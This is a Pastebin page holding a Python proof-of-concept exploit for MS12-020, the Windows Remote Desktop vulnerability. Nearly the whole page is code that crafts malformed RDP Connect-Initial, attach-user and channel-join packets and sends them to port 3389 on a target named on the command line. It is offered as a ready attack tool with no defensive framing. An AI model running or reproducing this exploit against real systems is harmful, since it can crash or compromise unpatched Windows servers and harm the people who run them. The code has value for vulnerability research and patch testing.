Advertisement
Guest User

Untitled

a guest
Mar 16th, 2012
3,945
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.23 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. #
  4. # ms12-020 PoC attempt
  5. #
  6. # based on jduck PoC
  7. #
  8.  
  9. import sys
  10. import socket
  11. from struct import pack,unpack
  12.  
  13. host = sys.argv[1]
  14.  
  15. def make_tpkt(data):
  16.     return pack("!BBH", 3, 0, 4+len(data)) + data
  17.  
  18. def make_x224(type, data):
  19.     return pack("!BB", 1+len(data), type) + data
  20.  
  21. def make_rdp(type, flags, data):
  22.     return pack("<BBH", type, flags, 4+len(data)) + data
  23.  
  24.  
  25. # craft connection request
  26. # x224 type 0xe0
  27. # - dst_ref, src_ref, class_opts, data
  28. rdp = make_rdp(1, 0, pack("!I", 0))
  29. x224_1 = make_x224(0xe0, pack("!HHB", 0, 0, 0) + rdp)
  30. pkt = make_tpkt(x224_1)
  31.  
  32. # x224 type 0xf0 (Data TPDU)
  33. # - EOT (0x80)
  34. x224_2 = make_x224(0xf0, pack("!B", 0x80))
  35.  
  36. # craft connect-initial with gcc
  37. # mcsCi
  38. target_params = (""+
  39.     #"\x02\x01\x00"+     # maxChannelIds
  40.     "\x02\x01\x22"+  # maxChannelIds
  41.     "\x02\x01\x0a"+  # maxUserIds
  42.     "\x02\x01\x00"+  # maxTokenIds
  43.     "\x02\x01\x01"+  # numPriorities
  44.     "\x02\x01\x00"+  # minThroughput
  45.     "\x02\x01\x01"+  # maxHeight
  46.     "\x02\x02\xff\xff"+          # maxMCSPDUSize
  47.     "\x02\x01\x02"   # protocolVersion
  48. )
  49. min_params = (""+
  50.     "\x02\x01\x01"+  # maxChannelIds      
  51.     "\x02\x01\x01"+  # maxUserIds          
  52.     "\x02\x01\x01"+  # maxTokenIds        
  53.     "\x02\x01\x01"+  # numPriorities      
  54.     "\x02\x01\x00"+  # minThroughput      
  55.     "\x02\x01\x01"+  # maxHeight          
  56.     "\x02\x02\x04\x20"+          # maxMCSPDUSize
  57.     "\x02\x01\x02"   # protocolVersion
  58. )
  59. max_params = (""+
  60.     "\x02\x02\xff\xff"+          # maxChannelIds          
  61.     "\x02\x02\xfc\x17"+          # maxUserIds              
  62.     "\x02\x02\xff\xff"+          # maxTokenIds            
  63.     "\x02\x01\x01"+  # numPriorities          
  64.     "\x02\x01\x00"+  # minThroughput          
  65.     "\x02\x01\x01"+  # maxHeight              
  66.     "\x02\x02\xff\xff"+          # maxMCSPDUSize
  67.     "\x02\x01\x02"   # protocolVersion
  68. )
  69. userdata = (""+
  70.     # gccCCrq
  71.     "\x00\x05\x00\x14"+
  72.     "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
  73.     # clientCoreData
  74.     "\x01\xc0"+"\xd8\x00"+  # header (type, len)
  75.         "\x04\x00"+"\x08\x00"+ # version
  76.         "\x80\x02"+ # desktop width
  77.         "\xe0\x01"+ # desktop height
  78.         "\x01\xca"+ # color depth
  79.         "\x03\xaa"+ # SASSequence
  80.         "\x09\x04\x00\x00" + # keyboard layout
  81.         "\xce\x0e\x00\x00" + # client build number
  82.         # client name
  83.         "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  84.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  85.         "\x04\x00\x00\x00"+ # keyboard type
  86.         "\x00\x00\x00\x00"+ # kbd subType
  87.         "\x0c\x00\x00\x00"+ # kbd FuncKey
  88.         # imeFileName
  89.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  90.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  91.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  92.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  93.         "\x01\xca"+ # postBeta2ColorDepth
  94.         "\x01\x00"+ # clientProductId
  95.         "\x00\x00\x00\x00" + # serialNumber
  96.         "\x10\x00"+ # highColorDepth
  97.         "\x07\x00"+ # supportedColorDepths
  98.         "\x01\x00"+ # earlyCapabilityFlags
  99.         # clientDigProductId -poc has: "00000-000-0000000-00000"
  100.         "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
  101.         "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
  102.         "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
  103.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  104.         "\x00"+ # connectionType
  105.         "\x00"+ # pad1octet
  106.         "\x00\x00\x00\x00"+ # serverSelectedProtocol
  107.         "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
  108.         "\x0d\x00\x00\x00"+ # desktopPhysicalHeight
  109.         "\x00\x00\x00\x00"+ # reserved
  110.     # clientSecurityData
  111.     "\x02\xc0"+"\x0c\x00"+ # header (type, len)
  112.         "\x1b\x00\x00\x00"+ # encryptionMethods
  113.         "\x00\x00\x00\x00"+ # extEncryptionMethods
  114.     # clientNetworkData
  115.     "\x03\xc0"+"\x2c\x00"+ # header (type, len)
  116.         "\x03\x00\x00\x00"+ # channel count!
  117.         # channel 0
  118.         "rdpdr\x00\x00\x00"+ # name
  119.         "\x00\x00\x80\x80"+  # options
  120.         # channel 1
  121.         "cliprdr\x00"+       # name
  122.         "\x00\x00\xa0\xc0"+  # options
  123.         # channel 2
  124.         "rdpsnd\x00\x00"+    # name
  125.         "\x00\x00\x00\xc0"   # options
  126.     # clientClusterData (not present)
  127.     # clientMonitorData (not present)
  128. )
  129. mcs_data = (""+
  130.         "\x04\x01\x01"+ # callingDomainSelector
  131.         "\x04\x01\x01"+ # calledDomainSelector
  132.         "\x01\x01\xff"+ # upwardFlag
  133.     "\x30" + pack("B", len(target_params)) + target_params +
  134.     "\x30" + pack("B", len(min_params)) + min_params +
  135.     "\x30" + pack("B", len(max_params)) + max_params +
  136.     # userData
  137.     "\x04\x82" + pack("!H", len(userdata)) + userdata
  138. )
  139.  
  140. # \x7f\x65  BER: Application-Defined Type = APPLICATION 101 = Connect-Initial (MCS_TYPE_CONNECTINITIAL)
  141. mcs = "\x7f\x65"
  142. mcs += "\x82" + pack("!H", len(mcs_data)) # BER: mcs_data length
  143. pkt += make_tpkt(x224_2 + mcs + mcs_data)
  144.  
  145. # craft erect domain request
  146. #pkt += make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")
  147.  
  148. # craft attach user request
  149. pkt += make_tpkt(x224_2 + "\x28")*8 # !!!
  150.  
  151. # craft channel join request
  152. pkt += make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0") # join channel 1008
  153.  
  154.  
  155. pkt += make_tpkt(x224_2 + "\x21\x80") # seem very important!!!
  156.  
  157. sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  158. sk.settimeout(1)
  159. sk.connect((host,3389))
  160.  
  161. sk.send(pkt)
  162. data = sk.recv(4096)
  163. print len(data)
  164. sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement